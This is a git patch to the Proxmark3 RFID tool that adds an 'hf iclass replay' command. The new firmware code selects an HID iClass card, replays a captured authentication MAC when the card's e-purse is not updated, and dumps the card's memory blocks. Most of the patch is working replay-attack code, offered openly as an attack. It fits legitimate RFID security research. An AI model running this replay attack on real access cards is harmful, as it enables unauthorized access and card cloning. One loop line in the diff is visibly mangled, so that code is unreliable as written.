From c3963755b7bdb05523e694fbecca4dca2ad0112b Mon Sep 17 00:00:00 2001 From: penturalabs Date: Tue, 15 Apr 2014 11:47:01 +0100 Subject: [PATCH] Implement replay command. --- README.txt | 164 ++--------------------------------------- armsrc/appmain.c | 3 + armsrc/apps.h | 1 + armsrc/iclass.c | 144 ++++++++++++++++++++++++++++++++++++ client/cmdhficlass.c | 32 ++++++-- client/cmdhficlass.h | 1 + common/iso15693tools.c | 29 ++++++++ common/iso15693tools.h | 1 + include/usb_cmd.h | 1 + 9 files changed, 209 insertions(+), 167 deletions(-) diff --git a/README.txt b/README.txt index 1e46bf0c..1f506f21 100644 --- a/README.txt +++ b/README.txt @@ -1,161 +1,7 @@ -NOTICE: -(2014-03-17) -Moving the repository from google code to GitHub is up for discussion! -Please check out the following thread and post your comments... -http://www.proxmark.org/forum/viewtopic.php?id=1902 -Discussions will close on March 31st. +iclass research +=============== -INTRO: - -This file contains enough software, logic (for the FPGA), and design -documentation for the hardware that you could, at least in theory, -do something useful with a proxmark3. It has commands to: - - * read any kind of 125 kHz unidirectional tag - * simulate any kind of 125 kHz unidirectional tag - -(This is enough to perform all of the silly cloning attacks, like the -ones that I did at the Capitol in Sacramento, or anything involving -a Verichip. From a technical standpoint, these are not that exciting, -although the `software radio' architecture of the proxmark3 makes it -easy and fun to support new formats.) - -As a bonus, I include some code to use the 13.56 MHz hardware, so you can: - - * do anything that a (medium-range) ISO 15693 reader could - * read an ISO 14443 tag, if you know the higher-layer protocol - * pretend to be an ISO 14443 tag, if you know the higher-layer protocol - * snoop on an ISO 14443 transaction - -I am not actively developing any of this. I have other projects that -seem to be more useful. - -USING THE PACKAGE: - -The software tools required to build include: - - * cygwin or other unix-like tools for Windows - * devkitPro (http://wiki.devkitpro.org/index.php/Getting_Started/devkitARM) - * Xilinx's WebPack tools - * Modelsim (for test only) - * perl - -When installing devkitPro, you only need to install the compiler itself. Additional -support libraries are not required. - -Documentation is minimal, but see the doc/ directory for what exists. A -previous familiarity with the ARM, with digital signal processing, -and with embedded programming in general is assumed. - -The device is used through a specialized command line interface; for -example, to clone a Verichip, you might type: - - loread ; this reads the tag, and stores the - ; raw samples in memory on the ARM - - losamples ; then we download the samples to - ; the PC - - vchdemod clone ; demodulate the ID, and then put it - ; back in a format that we can replay - - losim ; and then replay it - -To read an ISO 15693 tag, you might type: - - hiread ; read the tag; this involves sending a - ; particular command, and then getting - ; the response (which is stored as raw - ; samples in memory on the ARM) - - hisamples ; then download those samples to the PC - - hi15demod ; and demod them to bits (and check the - ; CRC etc. at the same time) - -Notice that in both cases the signal processing mostly happened on the PC -side; that is of course not practical for a real reader, but it is easier -to initially write your code and debug on the PC side than on the ARM. As -long as you use integer math (and I do), it's trivial to port it over -when you're done. - -The USB driver and bootloader are documented (and available separately -for download, if you wish to use them in another project) at - - http://cq.cx/trivia.pl - - -OBTAINING HARDWARE: - -Most of the ultra-low-volume contract assemblers that have sprung up -(Screaming Circuits, the various cheap Asian suppliers, etc.) could put -something like this together with a reasonable yield. A run of around -a dozen units is probably cost-effective. The BOM includes (possibly- -outdated) component pricing, and everything is available from Digikey -and the usual distributors. - -If you've never assembled a modern circuit board by hand, then this is -not a good place to start. Some of the components (e.g. the crystals) -must not be assembled with a soldering iron, and require hot air. - -The schematics are included; the component values given are not -necessarily correct for all situations, but it should be possible to do -nearly anything you would want with appropriate population options. - -The printed circuit board artwork is also available, as Gerbers and an -Excellon drill file. - - -FUTURE PLANS, ENHANCEMENTS THAT YOU COULD MAKE: - -At some point I should write software involving a proper real-time -operating system for the ARM. I would then provide interrupt-driven -drivers for many of the peripherals that are polled now (the USB, -the data stream from the FPGA), which would make it easier to develop -complex applications. - -It would not be all that hard to implement the ISO 15693 reader properly -(with anticollision, all the commands supported, and so on)--the signal -processing is already written, so it is all straightforward applications -work. - -I have basic support for ISO 14443 as well: a sniffer, a simulated -tag, and a reader. It won't do anything useful unless you fill in the -high-layer protocol. - -Nicer (i.e., closer-to-optimal) implementations of all kinds of signal -processing would be useful as well. - -A practical implementation of the learning-the-tag's-ID-from-what-the- -reader-broadcasts-during-anticollision attacks would be relatively -straightforward. This would involve some signal processing on the FPGA, -but not much else after that. - -It would be neat to write a driver that could stream samples from the A/Ds -over USB to the PC, using the full available bandwidth of USB. I am not -yet sure what that would be good for, but surely something. This would -require a kernel-mode driver under Windows, though, which is more work. - - -LICENSING: - -This program is free software; you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation; either version 2 of the License, or -(at your option) any later version. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - - -Jonathan Westhues -user jwesthues, at host cq.cx - -May 2007, Cambridge MA +Implemented "hf iclass replay " where MAC is 8-char Hexidecimal MAC. +Useful to replay a snooped authentication sequence if cc (e-purse) is not correctly updated as per the specification. +Currently hardset to only read Page 1. \ No newline at end of file diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 7af47a51..71952b12 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -858,6 +858,9 @@ void UsbPacketReceived(uint8_t *packet, int len) case CMD_READER_ICLASS: ReaderIClass(c->arg[0]); break; + case CMD_READER_ICLASS_REPLAY: + ReaderIClass_Replay(c->arg[0], c->d.asBytes); + break; #endif case CMD_SIMULATE_TAG_HF_LISTEN: diff --git a/armsrc/apps.h b/armsrc/apps.h index e21b5ce5..12aedcc2 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -190,6 +190,7 @@ void SetDebugIso15693(uint32_t flag); void RAMFUNC SnoopIClass(void); void SimulateIClass(uint8_t arg0, uint8_t *datain); void ReaderIClass(uint8_t arg0); +void ReaderIClass_Replay(uint8_t arg0,uint8_t *MAC); // hitag2.h void SnoopHitag(uint32_t type); diff --git a/armsrc/iclass.c b/armsrc/iclass.c index e876132e..c827ed51 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -45,6 +45,7 @@ // same construction as in ISO 14443; // different initial value (CRC_ICLASS) #include "iso14443crc.h" +#include "iso15693tools.h" static int timeout = 4096; @@ -1476,4 +1477,147 @@ void ReaderIClass(uint8_t arg0) { LED_A_OFF(); } +void ReaderIClass_Replay(uint8_t arg0, uint8_t *MAC) { + uint8_t act_all[] = { 0x0a }; + uint8_t identify[] = { 0x0c }; + uint8_t select[] = { 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t readcheck_cc[]= { 0x88, 0x02 }; + uint8_t check[] = { 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t read[] = { 0x0c, 0x00, 0x00, 0x00 }; + + uint16_t crc = 0; + uint8_t cardsize=0; + bool read_success=false; + uint8_t mem=0; + + static struct memory_t{ + int k16; + int book; + int k2; + int lockauth; + int keyaccess; + } memory; + + uint8_t* resp = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes + + // Reset trace buffer + memset(trace, 0x44, RECV_CMD_OFFSET); + traceLen = 0; + + // Setup SSC + FpgaSetupSsc(); + // Start from off (no field generated) + // Signal field is off with the appropriate LED + LED_D_OFF(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(200); + + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + + // Now give it time to spin up. + // Signal field is on with the appropriate LED + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); + SpinDelay(200); + + LED_A_ON(); + + for(int i=0;i<1;i++) { + + if(traceLen > TRACE_SIZE) { + DbpString("Trace full"); + break; + } + + if (BUTTON_PRESS()) break; + + // Send act_all + ReaderTransmitIClass(act_all, 1); + // Card present? + if(ReaderReceiveIClass(resp)) { + ReaderTransmitIClass(identify, 1); + if(ReaderReceiveIClass(resp) == 10) { + // Select card + memcpy(&select[1],resp,8); + ReaderTransmitIClass(select, sizeof(select)); + + if(ReaderReceiveIClass(resp) == 10) { + Dbprintf(" Selected CSN: %02x %02x %02x %02x %02x %02x %02x %02x", + resp[0], resp[1], resp[2], + resp[3], resp[4], resp[5], + resp[6], resp[7]); + } + // Card selected + Dbprintf("Readcheck on Sector 2"); + ReaderTransmitIClass(readcheck_cc, sizeof(readcheck_cc)); + if(ReaderReceiveIClass(resp) == 8) { + Dbprintf(" CC: %02x %02x %02x %02x %02x %02x %02x %02x", + resp[0], resp[1], resp[2], + resp[3], resp[4], resp[5], + resp[6], resp[7]); + }else return; + Dbprintf("Authenticate"); + //for now replay captured auth (as cc not updated) + memcpy(check+5,MAC,4); + Dbprintf(" AA: %02x %02x %02x %02x", + check[5], check[6], check[7],check[8]); + ReaderTransmitIClass(check, sizeof(check)); + if(ReaderReceiveIClass(resp) == 4) { + Dbprintf(" AR: %02x %02x %02x %02x", + resp[0], resp[1], resp[2],resp[3]); + }else { + Dbprintf("Error: Authentication Fail!"); + return; + } + Dbprintf("Dump Contents"); + //first get configuration block + read_success=false; + read[1]=1; + uint8_t *blockno=&read[1]; + crc = iclass_crc16((char *)blockno,1); + read[2] = crc >> 8; + read[3] = crc & 0xff; + while(!read_success){ + ReaderTransmitIClass(read, sizeof(read)); + if(ReaderReceiveIClass(resp) == 10) { + read_success=true; + mem=resp[5]; + memory.k16= (mem & 0x80); + memory.book= (mem & 0x20); + memory.k2= (mem & 0x8); + memory.lockauth= (mem & 0x2); + memory.keyaccess= (mem & 0x1); + + } + } + if (memory.k16){ + cardsize=255; + }else cardsize=32; + //then loop around remaining blocks + for(uint8_t j=0; j> 8; + read[3] = crc & 0xff; + while(!read_success){ + ReaderTransmitIClass(read, sizeof(read)); + if(ReaderReceiveIClass(resp) == 10) { + read_success=true; + Dbprintf(" %02x: %02x %02x %02x %02x %02x %02x %02x %02x", + j, resp[0], resp[1], resp[2], + resp[3], resp[4], resp[5], + resp[6], resp[7]); + } + } + } + } + } + WDT_HIT(); + } + + LED_A_OFF(); +} + diff --git a/client/cmdhficlass.c b/client/cmdhficlass.c index f807e972..aa5a2145 100644 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@ -219,20 +219,35 @@ int CmdHFiClassReader(const char *Cmd) PrintAndLog("--readertype:%02x", readerType); UsbCommand c = {CMD_READER_ICLASS, {readerType}}; - //memcpy(c.d.asBytes, CSN, 8); SendCommand(&c); - /*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500); - if (resp != NULL) { - uint8_t isOK = resp->arg[0] & 0xff; - PrintAndLog("isOk:%02x", isOK); - } else { - PrintAndLog("Command execute timeout"); - }*/ + return 0; +} + +int CmdHFiClassReader_Replay(const char *Cmd) +{ + uint8_t readerType = 0; + uint8_t MAC[4]={0x00, 0x00, 0x00, 0x00}; + + if (strlen(Cmd)<1) { + PrintAndLog("Usage: hf iclass replay "); + PrintAndLog(" sample: hf iclass replay 00112233"); + return 0; + } + + if (param_gethex(Cmd, 0, MAC, 8)) { + PrintAndLog("MAC must include 8 HEX symbols"); + return 1; + } + + UsbCommand c = {CMD_READER_ICLASS_REPLAY, {readerType}}; + memcpy(c.d.asBytes, MAC, 4); + SendCommand(&c); return 0; } + static command_t CommandTable[] = { {"help", CmdHelp, 1, "This help"}, @@ -240,6 +255,7 @@ static command_t CommandTable[] = {"snoop", CmdHFiClassSnoop, 0, "Eavesdrop iClass communication"}, {"sim", CmdHFiClassSim, 0, "Simulate iClass tag"}, {"reader", CmdHFiClassReader, 0, "Read an iClass tag"}, + {"replay", CmdHFiClassReader_Replay, 0, "Read an iClass tag via Reply Attack"}, {NULL, NULL, 0, NULL} }; diff --git a/client/cmdhficlass.h b/client/cmdhficlass.h index c1bf60c7..e4048eb1 100644 --- a/client/cmdhficlass.h +++ b/client/cmdhficlass.h @@ -18,5 +18,6 @@ int CmdHFiClassSnoop(const char *Cmd); int CmdHFiClassSim(const char *Cmd); int CmdHFiClassList(const char *Cmd); int CmdHFiClassReader(const char *Cmd); +int CmdHFiClassReader_Replay(const char *Cmd); #endif diff --git a/common/iso15693tools.c b/common/iso15693tools.c index add0ba69..0f7a250b 100644 --- a/common/iso15693tools.c +++ b/common/iso15693tools.c @@ -12,6 +12,9 @@ #include //#include "iso15693tools.h" +#define POLY 0x8408 + + // The CRC as described in ISO 15693-Part 3-Annex C // v buffer with data // n length @@ -63,5 +66,31 @@ char* Iso15693sprintUID(char *target,uint8_t *uid) { return target; } +unsigned short iclass_crc16(char *data_p, unsigned short length) +{ + unsigned char i; + unsigned int data; + unsigned int crc = 0xffff; + + if (length == 0) + return (~crc); + + do + { + for (i=0, data=(unsigned int)0xff & *data_p++; + i < 8; + i++, data >>= 1) + { + if ((crc & 0x0001) ^ (data & 0x0001)) + crc = (crc >> 1) ^ POLY; + else crc >>= 1; + } + } while (--length); + crc = ~crc; + data = crc; + crc = (crc << 8) | (data >> 8 & 0xff); + crc = crc ^ 0xBC3; + return (crc); +} diff --git a/common/iso15693tools.h b/common/iso15693tools.h index c831fec4..ec63728f 100644 --- a/common/iso15693tools.h +++ b/common/iso15693tools.h @@ -70,6 +70,7 @@ uint16_t Iso15693Crc(uint8_t *v, int n); int Iso15693AddCrc(uint8_t *req, int n); char* Iso15693sprintUID(char *target,uint8_t *uid); +unsigned short iclass_crc16(char *data_p, unsigned short length); //----------------------------------------------------------------------------- // Map a sequence of octets (~layer 2 command) into the set of bits to feed diff --git a/include/usb_cmd.h b/include/usb_cmd.h index 9c25555d..cd5a8b75 100644 --- a/include/usb_cmd.h +++ b/include/usb_cmd.h @@ -116,6 +116,7 @@ typedef struct { #define CMD_SNOOP_ICLASS 0x0392 #define CMD_SIMULATE_TAG_ICLASS 0x0393 #define CMD_READER_ICLASS 0x0394 +#define CMD_READER_ICLASS_REPLAY 0x0395 // For measurements of the antenna tuning #define CMD_MEASURE_ANTENNA_TUNING 0x0400 -- 2.39.2